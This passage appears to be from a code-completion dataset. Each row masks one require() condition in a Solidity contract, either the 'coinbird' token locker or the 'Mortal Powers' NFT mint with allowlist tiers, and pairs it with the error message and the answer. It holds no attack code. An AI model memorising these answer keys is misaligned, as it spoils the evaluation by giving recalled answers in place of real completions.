| contractBIRD.balanceOf(msg.sender)>=amount,"Amount entered exceeds amount owned." | 128,009 | contractBIRD.balanceOf(msg.sender)>=amount |
"You do not have an active lock in this contract." | // SPDX-License-Identifier: NONE
// This code is copyright protected.
// All rights reserved © coinbird 2022
// The unauthorized reproduction, modification, expansion upon or redeployment of this work is illegal.
// Improvement suggestions are more than welcome. If you have any, please let the coinbird know and they will be examined.
pragma solidity 0.8.17;
// https://coinbird.io - BIRD!
// https://twitter.com/coinbirdtoken
// https://github.com/coinbirdtoken
// https://t.me/coinbirdtoken
abstract contract ERC20_CONTRACT {
function name() external virtual view returns (string memory);
function symbol() external virtual view returns (string memory);
function decimals() external virtual view returns (uint8);
function totalSupply() external view virtual returns (uint256);
function balanceOf(address account) external virtual view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (address);
}
abstract contract COINBIRD_CONNECTOR {
function balanceOf(address account) external virtual view returns (uint256);
}
contract COINBIRD_TOKEN_LOCKER {
COINBIRD_CONNECTOR BIRD_FINDER;
uint private _coinbirdThreshold;
struct COINBIRD_LOCKS {
address contractAccessed;
string contractName;
string contractSymbol;
uint contractDecimals;
uint amountLocked;
uint lockDuration;
}
// _ProtectedFromBIRD[] is a mapping used in retrieving lock data
mapping(address => COINBIRD_LOCKS[]) private _ProtectedFromBIRD;
// safetyBIRD[] is a mapping designed to prevent creating multiple locks on an individual contract with the same wallet
mapping(address => mapping(address => bool)) private safetyBIRD;
constructor() {
}
// coinbirdBouncer() returns the amount of BIRD a wallet needs to hold in order to create a new lock or modify an existing one
function coinbirdBouncer() public view returns (uint) {
}
// ownedBIRD() returns the amount of BIRD tokens the "user" address currently holds
function ownedBIRD(address user) public view returns (uint) {
}
// activeLocks() returns the number of locks that were created from the "user" address and are currently active
function activeLocks(address user) public view returns (uint) {
}
// totalSupplyOfAccessedContract() returns the totalSupply of the "scanned" ERC20 contract
function totalSupplyOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// decimalsOfAccessedContract() returns the decimals of the "scanned" ERC20 contract
function decimalsOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// nameOfAccessedContract() returns the name of the "scanned" ERC20 contract
function nameOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// symbolOfAccessedContract() returns the symbol of the "scanned" ERC20 contract
function symbolOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// lockableTokensInAccessedContract() returns the amount of tokens the "user" address hold in the scanned ERC20 contract
function lockableTokensInAccessedContract(ERC20_CONTRACT scanned, address user) public view returns (uint) {
}
// lockBIRD() return the values stored in the _ProtectedFromBIRD mapping, position [locker][value]
function lockBIRD(address locker, uint value) public view returns (address, string memory, string memory, uint, uint, uint) {
}
// adjustLockerEntranceFee() allows the coinbird to modify the coinbirdBouncer() entry value. Doesn't affect the claimUnlockedTokens() function.
function adjustLockerEntranceFee(uint BIRDamount) public {
}
// createNewLock() is a function used in order to create a new lock in the ERC20Contract specified in the input
function createNewLock(address ERC20Contract, uint amount, uint time) public {
}
// increaseLockDuration() can be called whenever the msg.sender wishes to increase the duration of an active lock they previously created
function increaseLockDuration(uint hatchling, uint time) public {
require(ownedBIRD(msg.sender) >= coinbirdBouncer(), "You don't own enough BIRD. Buy more at: 0x8792005de5D05bAD050C68D64e526Ce2062DFEFd");
require(<FILL_ME>)
require(time > 0, "Trivial.");
_ProtectedFromBIRD[msg.sender][hatchling].lockDuration += time*86400;
}
// increaseLockedAmount() can be called whenever the msg.sender wishes to increase the amount of tokens within an active lock they previously created
function increaseLockedAmount(uint hatchling, uint amount) public {
}
// claimUnlockedTokens() can be called whenever the msg.sender wishes to retrieve tokens they had stored in a lock which has now expired
function claimUnlockedTokens(uint hatchling) public {
}
}
| safetyBIRD[msg.sender][_ProtectedFromBIRD[msg.sender][hatchling].contractAccessed]==true,"You do not have an active lock in this contract." | 128,009 | safetyBIRD[msg.sender][_ProtectedFromBIRD[msg.sender][hatchling].contractAccessed]==true |
"You do not have an active lock in this contract." | // SPDX-License-Identifier: NONE
// This code is copyright protected.
// All rights reserved © coinbird 2022
// The unauthorized reproduction, modification, expansion upon or redeployment of this work is illegal.
// Improvement suggestions are more than welcome. If you have any, please let the coinbird know and they will be examined.
pragma solidity 0.8.17;
// https://coinbird.io - BIRD!
// https://twitter.com/coinbirdtoken
// https://github.com/coinbirdtoken
// https://t.me/coinbirdtoken
abstract contract ERC20_CONTRACT {
function name() external virtual view returns (string memory);
function symbol() external virtual view returns (string memory);
function decimals() external virtual view returns (uint8);
function totalSupply() external view virtual returns (uint256);
function balanceOf(address account) external virtual view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (address);
}
abstract contract COINBIRD_CONNECTOR {
function balanceOf(address account) external virtual view returns (uint256);
}
contract COINBIRD_TOKEN_LOCKER {
COINBIRD_CONNECTOR BIRD_FINDER;
uint private _coinbirdThreshold;
struct COINBIRD_LOCKS {
address contractAccessed;
string contractName;
string contractSymbol;
uint contractDecimals;
uint amountLocked;
uint lockDuration;
}
// _ProtectedFromBIRD[] is a mapping used in retrieving lock data
mapping(address => COINBIRD_LOCKS[]) private _ProtectedFromBIRD;
// safetyBIRD[] is a mapping designed to prevent creating multiple locks on an individual contract with the same wallet
mapping(address => mapping(address => bool)) private safetyBIRD;
constructor() {
}
// coinbirdBouncer() returns the amount of BIRD a wallet needs to hold in order to create a new lock or modify an existing one
function coinbirdBouncer() public view returns (uint) {
}
// ownedBIRD() returns the amount of BIRD tokens the "user" address currently holds
function ownedBIRD(address user) public view returns (uint) {
}
// activeLocks() returns the number of locks that were created from the "user" address and are currently active
function activeLocks(address user) public view returns (uint) {
}
// totalSupplyOfAccessedContract() returns the totalSupply of the "scanned" ERC20 contract
function totalSupplyOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// decimalsOfAccessedContract() returns the decimals of the "scanned" ERC20 contract
function decimalsOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// nameOfAccessedContract() returns the name of the "scanned" ERC20 contract
function nameOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// symbolOfAccessedContract() returns the symbol of the "scanned" ERC20 contract
function symbolOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// lockableTokensInAccessedContract() returns the amount of tokens the "user" address hold in the scanned ERC20 contract
function lockableTokensInAccessedContract(ERC20_CONTRACT scanned, address user) public view returns (uint) {
}
// lockBIRD() return the values stored in the _ProtectedFromBIRD mapping, position [locker][value]
function lockBIRD(address locker, uint value) public view returns (address, string memory, string memory, uint, uint, uint) {
}
// adjustLockerEntranceFee() allows the coinbird to modify the coinbirdBouncer() entry value. Doesn't affect the claimUnlockedTokens() function.
function adjustLockerEntranceFee(uint BIRDamount) public {
}
// createNewLock() is a function used in order to create a new lock in the ERC20Contract specified in the input
function createNewLock(address ERC20Contract, uint amount, uint time) public {
}
// increaseLockDuration() can be called whenever the msg.sender wishes to increase the duration of an active lock they previously created
function increaseLockDuration(uint hatchling, uint time) public {
}
// increaseLockedAmount() can be called whenever the msg.sender wishes to increase the amount of tokens within an active lock they previously created
function increaseLockedAmount(uint hatchling, uint amount) public {
require(ownedBIRD(msg.sender) >= coinbirdBouncer(), "You don't own enough BIRD. Buy more at: 0x8792005de5D05bAD050C68D64e526Ce2062DFEFd");
address protectionBIRD = _ProtectedFromBIRD[msg.sender][hatchling].contractAccessed;
require(<FILL_ME>)
require(amount > 0, "Trivial.");
ERC20_CONTRACT contractBIRD = ERC20_CONTRACT(protectionBIRD);
require(contractBIRD.balanceOf(msg.sender) >= amount, "Amount entered exceeds amount owned.");
contractBIRD.transferFrom(msg.sender, address(this), amount);
_ProtectedFromBIRD[msg.sender][hatchling].amountLocked += amount;
}
// claimUnlockedTokens() can be called whenever the msg.sender wishes to retrieve tokens they had stored in a lock which has now expired
function claimUnlockedTokens(uint hatchling) public {
}
}
| safetyBIRD[msg.sender][protectionBIRD]==true,"You do not have an active lock in this contract." | 128,009 | safetyBIRD[msg.sender][protectionBIRD]==true |
"The lock is still active." | // SPDX-License-Identifier: NONE
// This code is copyright protected.
// All rights reserved © coinbird 2022
// The unauthorized reproduction, modification, expansion upon or redeployment of this work is illegal.
// Improvement suggestions are more than welcome. If you have any, please let the coinbird know and they will be examined.
pragma solidity 0.8.17;
// https://coinbird.io - BIRD!
// https://twitter.com/coinbirdtoken
// https://github.com/coinbirdtoken
// https://t.me/coinbirdtoken
abstract contract ERC20_CONTRACT {
function name() external virtual view returns (string memory);
function symbol() external virtual view returns (string memory);
function decimals() external virtual view returns (uint8);
function totalSupply() external view virtual returns (uint256);
function balanceOf(address account) external virtual view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (address);
}
abstract contract COINBIRD_CONNECTOR {
function balanceOf(address account) external virtual view returns (uint256);
}
contract COINBIRD_TOKEN_LOCKER {
COINBIRD_CONNECTOR BIRD_FINDER;
uint private _coinbirdThreshold;
struct COINBIRD_LOCKS {
address contractAccessed;
string contractName;
string contractSymbol;
uint contractDecimals;
uint amountLocked;
uint lockDuration;
}
// _ProtectedFromBIRD[] is a mapping used in retrieving lock data
mapping(address => COINBIRD_LOCKS[]) private _ProtectedFromBIRD;
// safetyBIRD[] is a mapping designed to prevent creating multiple locks on an individual contract with the same wallet
mapping(address => mapping(address => bool)) private safetyBIRD;
constructor() {
}
// coinbirdBouncer() returns the amount of BIRD a wallet needs to hold in order to create a new lock or modify an existing one
function coinbirdBouncer() public view returns (uint) {
}
// ownedBIRD() returns the amount of BIRD tokens the "user" address currently holds
function ownedBIRD(address user) public view returns (uint) {
}
// activeLocks() returns the number of locks that were created from the "user" address and are currently active
function activeLocks(address user) public view returns (uint) {
}
// totalSupplyOfAccessedContract() returns the totalSupply of the "scanned" ERC20 contract
function totalSupplyOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// decimalsOfAccessedContract() returns the decimals of the "scanned" ERC20 contract
function decimalsOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// nameOfAccessedContract() returns the name of the "scanned" ERC20 contract
function nameOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// symbolOfAccessedContract() returns the symbol of the "scanned" ERC20 contract
function symbolOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// lockableTokensInAccessedContract() returns the amount of tokens the "user" address hold in the scanned ERC20 contract
function lockableTokensInAccessedContract(ERC20_CONTRACT scanned, address user) public view returns (uint) {
}
// lockBIRD() return the values stored in the _ProtectedFromBIRD mapping, position [locker][value]
function lockBIRD(address locker, uint value) public view returns (address, string memory, string memory, uint, uint, uint) {
}
// adjustLockerEntranceFee() allows the coinbird to modify the coinbirdBouncer() entry value. Doesn't affect the claimUnlockedTokens() function.
function adjustLockerEntranceFee(uint BIRDamount) public {
}
// createNewLock() is a function used in order to create a new lock in the ERC20Contract specified in the input
function createNewLock(address ERC20Contract, uint amount, uint time) public {
}
// increaseLockDuration() can be called whenever the msg.sender wishes to increase the duration of an active lock they previously created
function increaseLockDuration(uint hatchling, uint time) public {
}
// increaseLockedAmount() can be called whenever the msg.sender wishes to increase the amount of tokens within an active lock they previously created
function increaseLockedAmount(uint hatchling, uint amount) public {
}
// claimUnlockedTokens() can be called whenever the msg.sender wishes to retrieve tokens they had stored in a lock which has now expired
function claimUnlockedTokens(uint hatchling) public {
require(<FILL_ME>)
address accessBIRD = _ProtectedFromBIRD[msg.sender][hatchling].contractAccessed;
ERC20_CONTRACT contractBIRD = ERC20_CONTRACT(accessBIRD);
require(safetyBIRD[msg.sender][accessBIRD] == true, "Reentrancy protection.");
safetyBIRD[msg.sender][accessBIRD] = false;
contractBIRD.transferFrom(address(this), msg.sender, _ProtectedFromBIRD[msg.sender][hatchling].amountLocked);
uint dummyBIRD = _ProtectedFromBIRD[msg.sender].length - 1;
COINBIRD_LOCKS memory killerBIRD = _ProtectedFromBIRD[msg.sender][dummyBIRD];
_ProtectedFromBIRD[msg.sender][hatchling] = killerBIRD;
_ProtectedFromBIRD[msg.sender].pop();
}
}
| _ProtectedFromBIRD[msg.sender][hatchling].lockDuration<block.timestamp,"The lock is still active." | 128,009 | _ProtectedFromBIRD[msg.sender][hatchling].lockDuration<block.timestamp |
"Reentrancy protection." | // SPDX-License-Identifier: NONE
// This code is copyright protected.
// All rights reserved © coinbird 2022
// The unauthorized reproduction, modification, expansion upon or redeployment of this work is illegal.
// Improvement suggestions are more than welcome. If you have any, please let the coinbird know and they will be examined.
pragma solidity 0.8.17;
// https://coinbird.io - BIRD!
// https://twitter.com/coinbirdtoken
// https://github.com/coinbirdtoken
// https://t.me/coinbirdtoken
abstract contract ERC20_CONTRACT {
function name() external virtual view returns (string memory);
function symbol() external virtual view returns (string memory);
function decimals() external virtual view returns (uint8);
function totalSupply() external view virtual returns (uint256);
function balanceOf(address account) external virtual view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (address);
}
abstract contract COINBIRD_CONNECTOR {
function balanceOf(address account) external virtual view returns (uint256);
}
contract COINBIRD_TOKEN_LOCKER {
COINBIRD_CONNECTOR BIRD_FINDER;
uint private _coinbirdThreshold;
struct COINBIRD_LOCKS {
address contractAccessed;
string contractName;
string contractSymbol;
uint contractDecimals;
uint amountLocked;
uint lockDuration;
}
// _ProtectedFromBIRD[] is a mapping used in retrieving lock data
mapping(address => COINBIRD_LOCKS[]) private _ProtectedFromBIRD;
// safetyBIRD[] is a mapping designed to prevent creating multiple locks on an individual contract with the same wallet
mapping(address => mapping(address => bool)) private safetyBIRD;
constructor() {
}
// coinbirdBouncer() returns the amount of BIRD a wallet needs to hold in order to create a new lock or modify an existing one
function coinbirdBouncer() public view returns (uint) {
}
// ownedBIRD() returns the amount of BIRD tokens the "user" address currently holds
function ownedBIRD(address user) public view returns (uint) {
}
// activeLocks() returns the number of locks that were created from the "user" address and are currently active
function activeLocks(address user) public view returns (uint) {
}
// totalSupplyOfAccessedContract() returns the totalSupply of the "scanned" ERC20 contract
function totalSupplyOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// decimalsOfAccessedContract() returns the decimals of the "scanned" ERC20 contract
function decimalsOfAccessedContract(ERC20_CONTRACT scanned) public view returns (uint) {
}
// nameOfAccessedContract() returns the name of the "scanned" ERC20 contract
function nameOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// symbolOfAccessedContract() returns the symbol of the "scanned" ERC20 contract
function symbolOfAccessedContract(ERC20_CONTRACT scanned) public view returns (string memory) {
}
// lockableTokensInAccessedContract() returns the amount of tokens the "user" address hold in the scanned ERC20 contract
function lockableTokensInAccessedContract(ERC20_CONTRACT scanned, address user) public view returns (uint) {
}
// lockBIRD() return the values stored in the _ProtectedFromBIRD mapping, position [locker][value]
function lockBIRD(address locker, uint value) public view returns (address, string memory, string memory, uint, uint, uint) {
}
// adjustLockerEntranceFee() allows the coinbird to modify the coinbirdBouncer() entry value. Doesn't affect the claimUnlockedTokens() function.
function adjustLockerEntranceFee(uint BIRDamount) public {
}
// createNewLock() is a function used in order to create a new lock in the ERC20Contract specified in the input
function createNewLock(address ERC20Contract, uint amount, uint time) public {
}
// increaseLockDuration() can be called whenever the msg.sender wishes to increase the duration of an active lock they previously created
function increaseLockDuration(uint hatchling, uint time) public {
}
// increaseLockedAmount() can be called whenever the msg.sender wishes to increase the amount of tokens within an active lock they previously created
function increaseLockedAmount(uint hatchling, uint amount) public {
}
// claimUnlockedTokens() can be called whenever the msg.sender wishes to retrieve tokens they had stored in a lock which has now expired
function claimUnlockedTokens(uint hatchling) public {
require(_ProtectedFromBIRD[msg.sender][hatchling].lockDuration < block.timestamp, "The lock is still active.");
address accessBIRD = _ProtectedFromBIRD[msg.sender][hatchling].contractAccessed;
ERC20_CONTRACT contractBIRD = ERC20_CONTRACT(accessBIRD);
require(<FILL_ME>)
safetyBIRD[msg.sender][accessBIRD] = false;
contractBIRD.transferFrom(address(this), msg.sender, _ProtectedFromBIRD[msg.sender][hatchling].amountLocked);
uint dummyBIRD = _ProtectedFromBIRD[msg.sender].length - 1;
COINBIRD_LOCKS memory killerBIRD = _ProtectedFromBIRD[msg.sender][dummyBIRD];
_ProtectedFromBIRD[msg.sender][hatchling] = killerBIRD;
_ProtectedFromBIRD[msg.sender].pop();
}
}
| safetyBIRD[msg.sender][accessBIRD]==true,"Reentrancy protection." | 128,009 | safetyBIRD[msg.sender][accessBIRD]==true |
"Address not in the platinum list" | pragma solidity ^0.8.8;
contract MPT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant collectionSize = 7778;
uint256 public constant goldSupply = 700;
uint256 public constant platinumSupply = 77;
uint256 public constant goldMaxMint = 4;
uint256 public constant platinumMaxMint = 3;
uint256 public constant platinumSalePrice = 0.08 ether;
uint256 public constant goldSalePrice = 0.1 ether;
uint256 public constant SALE_PRICE = 0.15 ether;
string public uriSuffix = ".json";
uint256 public goldSaleEpoch;
uint256 public platinumSaleEpoch;
uint256 public publicSaleEpoch;
bytes32 public goldMerkleRoot;
bytes32 public platinumMerkleRoot;
string public baseURI;
bool public IsActive = true;
mapping(address => uint256) public usedAddresses;
constructor(
uint256 _goldSaleEpoch,
uint256 _platinumSaleEpoch,
uint256 _publicSaleEpoch,
string memory _initBaseURI
)
ERC721A("Mortal Powers", "MPT")
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function platinumMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
require(block.timestamp >= platinumSaleEpoch, "Too soon");
require(block.timestamp < goldSaleEpoch, "platinum sale over");
require(<FILL_ME>)
require(msg.value >= platinumSalePrice * count, "Ether value sent is below the price");
require(usedAddresses[msg.sender] + count <= 3, "max per wallet reached");
require(count > 0 && count <= platinumMaxMint, "You can drop minimum 1, maximum 3 NFTs");
require(totalSupply() + count <= platinumSupply, "Cannot exceeds Platinum supply");
usedAddresses[msg.sender] += count;
_mint(msg.sender, count);
}
function goldMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function publicMint(uint256 count) external payable {
}
function reservedMint(address _addrs, uint256 count) public onlyOwner {
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to, uint256 count) internal virtual returns (uint256){
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function Paused() public onlyOwner {
}
function setGoldMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPlatinumMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setGoldSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPlatinumSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPublicSaleEpoch(uint256 _epoch) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdrawTokens(IERC20 token) external onlyOwner {
}
}
| MerkleProof.verify(merkleProof,platinumMerkleRoot,keccak256(abi.encodePacked(msg.sender))),"Address not in the platinum list" | 128,066 | MerkleProof.verify(merkleProof,platinumMerkleRoot,keccak256(abi.encodePacked(msg.sender))) |
"max per wallet reached" | pragma solidity ^0.8.8;
contract MPT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant collectionSize = 7778;
uint256 public constant goldSupply = 700;
uint256 public constant platinumSupply = 77;
uint256 public constant goldMaxMint = 4;
uint256 public constant platinumMaxMint = 3;
uint256 public constant platinumSalePrice = 0.08 ether;
uint256 public constant goldSalePrice = 0.1 ether;
uint256 public constant SALE_PRICE = 0.15 ether;
string public uriSuffix = ".json";
uint256 public goldSaleEpoch;
uint256 public platinumSaleEpoch;
uint256 public publicSaleEpoch;
bytes32 public goldMerkleRoot;
bytes32 public platinumMerkleRoot;
string public baseURI;
bool public IsActive = true;
mapping(address => uint256) public usedAddresses;
constructor(
uint256 _goldSaleEpoch,
uint256 _platinumSaleEpoch,
uint256 _publicSaleEpoch,
string memory _initBaseURI
)
ERC721A("Mortal Powers", "MPT")
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function platinumMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
require(block.timestamp >= platinumSaleEpoch, "Too soon");
require(block.timestamp < goldSaleEpoch, "platinum sale over");
require(
MerkleProof.verify(
merkleProof,
platinumMerkleRoot,
keccak256(abi.encodePacked(msg.sender))
),
"Address not in the platinum list"
);
require(msg.value >= platinumSalePrice * count, "Ether value sent is below the price");
require(<FILL_ME>)
require(count > 0 && count <= platinumMaxMint, "You can drop minimum 1, maximum 3 NFTs");
require(totalSupply() + count <= platinumSupply, "Cannot exceeds Platinum supply");
usedAddresses[msg.sender] += count;
_mint(msg.sender, count);
}
function goldMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function publicMint(uint256 count) external payable {
}
function reservedMint(address _addrs, uint256 count) public onlyOwner {
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to, uint256 count) internal virtual returns (uint256){
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function Paused() public onlyOwner {
}
function setGoldMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPlatinumMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setGoldSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPlatinumSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPublicSaleEpoch(uint256 _epoch) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdrawTokens(IERC20 token) external onlyOwner {
}
}
| usedAddresses[msg.sender]+count<=3,"max per wallet reached" | 128,066 | usedAddresses[msg.sender]+count<=3 |
"Cannot exceeds Platinum supply" | pragma solidity ^0.8.8;
contract MPT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant collectionSize = 7778;
uint256 public constant goldSupply = 700;
uint256 public constant platinumSupply = 77;
uint256 public constant goldMaxMint = 4;
uint256 public constant platinumMaxMint = 3;
uint256 public constant platinumSalePrice = 0.08 ether;
uint256 public constant goldSalePrice = 0.1 ether;
uint256 public constant SALE_PRICE = 0.15 ether;
string public uriSuffix = ".json";
uint256 public goldSaleEpoch;
uint256 public platinumSaleEpoch;
uint256 public publicSaleEpoch;
bytes32 public goldMerkleRoot;
bytes32 public platinumMerkleRoot;
string public baseURI;
bool public IsActive = true;
mapping(address => uint256) public usedAddresses;
constructor(
uint256 _goldSaleEpoch,
uint256 _platinumSaleEpoch,
uint256 _publicSaleEpoch,
string memory _initBaseURI
)
ERC721A("Mortal Powers", "MPT")
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function platinumMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
require(block.timestamp >= platinumSaleEpoch, "Too soon");
require(block.timestamp < goldSaleEpoch, "platinum sale over");
require(
MerkleProof.verify(
merkleProof,
platinumMerkleRoot,
keccak256(abi.encodePacked(msg.sender))
),
"Address not in the platinum list"
);
require(msg.value >= platinumSalePrice * count, "Ether value sent is below the price");
require(usedAddresses[msg.sender] + count <= 3, "max per wallet reached");
require(count > 0 && count <= platinumMaxMint, "You can drop minimum 1, maximum 3 NFTs");
require(<FILL_ME>)
usedAddresses[msg.sender] += count;
_mint(msg.sender, count);
}
function goldMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function publicMint(uint256 count) external payable {
}
function reservedMint(address _addrs, uint256 count) public onlyOwner {
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to, uint256 count) internal virtual returns (uint256){
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function Paused() public onlyOwner {
}
function setGoldMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPlatinumMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setGoldSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPlatinumSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPublicSaleEpoch(uint256 _epoch) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdrawTokens(IERC20 token) external onlyOwner {
}
}
| totalSupply()+count<=platinumSupply,"Cannot exceeds Platinum supply" | 128,066 | totalSupply()+count<=platinumSupply |
"Address not in the gold list" | pragma solidity ^0.8.8;
contract MPT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant collectionSize = 7778;
uint256 public constant goldSupply = 700;
uint256 public constant platinumSupply = 77;
uint256 public constant goldMaxMint = 4;
uint256 public constant platinumMaxMint = 3;
uint256 public constant platinumSalePrice = 0.08 ether;
uint256 public constant goldSalePrice = 0.1 ether;
uint256 public constant SALE_PRICE = 0.15 ether;
string public uriSuffix = ".json";
uint256 public goldSaleEpoch;
uint256 public platinumSaleEpoch;
uint256 public publicSaleEpoch;
bytes32 public goldMerkleRoot;
bytes32 public platinumMerkleRoot;
string public baseURI;
bool public IsActive = true;
mapping(address => uint256) public usedAddresses;
constructor(
uint256 _goldSaleEpoch,
uint256 _platinumSaleEpoch,
uint256 _publicSaleEpoch,
string memory _initBaseURI
)
ERC721A("Mortal Powers", "MPT")
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function platinumMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function goldMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
require(block.timestamp >= goldSaleEpoch, "Too soon");
require(block.timestamp < publicSaleEpoch, "gold sale over");
require(<FILL_ME>)
require(msg.value >= goldSalePrice * count, "Ether value sent is below the price");
require(usedAddresses[msg.sender] + count <= 4, "max per wallet reached");
require(count > 0 && count <= goldMaxMint, "You can drop minimum 1, maximum 4 NFTs");
require(totalSupply() + count <= goldSupply, "Cannot exceeds Gold supply");
usedAddresses[msg.sender] += count;
_mint(msg.sender, count);
}
function publicMint(uint256 count) external payable {
}
function reservedMint(address _addrs, uint256 count) public onlyOwner {
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to, uint256 count) internal virtual returns (uint256){
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function Paused() public onlyOwner {
}
function setGoldMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPlatinumMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setGoldSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPlatinumSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPublicSaleEpoch(uint256 _epoch) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdrawTokens(IERC20 token) external onlyOwner {
}
}
| MerkleProof.verify(merkleProof,goldMerkleRoot,keccak256(abi.encodePacked(msg.sender))),"Address not in the gold list" | 128,066 | MerkleProof.verify(merkleProof,goldMerkleRoot,keccak256(abi.encodePacked(msg.sender))) |
"max per wallet reached" | pragma solidity ^0.8.8;
contract MPT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant collectionSize = 7778;
uint256 public constant goldSupply = 700;
uint256 public constant platinumSupply = 77;
uint256 public constant goldMaxMint = 4;
uint256 public constant platinumMaxMint = 3;
uint256 public constant platinumSalePrice = 0.08 ether;
uint256 public constant goldSalePrice = 0.1 ether;
uint256 public constant SALE_PRICE = 0.15 ether;
string public uriSuffix = ".json";
uint256 public goldSaleEpoch;
uint256 public platinumSaleEpoch;
uint256 public publicSaleEpoch;
bytes32 public goldMerkleRoot;
bytes32 public platinumMerkleRoot;
string public baseURI;
bool public IsActive = true;
mapping(address => uint256) public usedAddresses;
constructor(
uint256 _goldSaleEpoch,
uint256 _platinumSaleEpoch,
uint256 _publicSaleEpoch,
string memory _initBaseURI
)
ERC721A("Mortal Powers", "MPT")
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function platinumMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function goldMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
require(block.timestamp >= goldSaleEpoch, "Too soon");
require(block.timestamp < publicSaleEpoch, "gold sale over");
require(
MerkleProof.verify(
merkleProof,
goldMerkleRoot,
keccak256(abi.encodePacked(msg.sender))
),
"Address not in the gold list"
);
require(msg.value >= goldSalePrice * count, "Ether value sent is below the price");
require(<FILL_ME>)
require(count > 0 && count <= goldMaxMint, "You can drop minimum 1, maximum 4 NFTs");
require(totalSupply() + count <= goldSupply, "Cannot exceeds Gold supply");
usedAddresses[msg.sender] += count;
_mint(msg.sender, count);
}
function publicMint(uint256 count) external payable {
}
function reservedMint(address _addrs, uint256 count) public onlyOwner {
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to, uint256 count) internal virtual returns (uint256){
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function Paused() public onlyOwner {
}
function setGoldMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPlatinumMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setGoldSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPlatinumSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPublicSaleEpoch(uint256 _epoch) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdrawTokens(IERC20 token) external onlyOwner {
}
}
| usedAddresses[msg.sender]+count<=4,"max per wallet reached" | 128,066 | usedAddresses[msg.sender]+count<=4 |
"Cannot exceeds Gold supply" | pragma solidity ^0.8.8;
contract MPT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant collectionSize = 7778;
uint256 public constant goldSupply = 700;
uint256 public constant platinumSupply = 77;
uint256 public constant goldMaxMint = 4;
uint256 public constant platinumMaxMint = 3;
uint256 public constant platinumSalePrice = 0.08 ether;
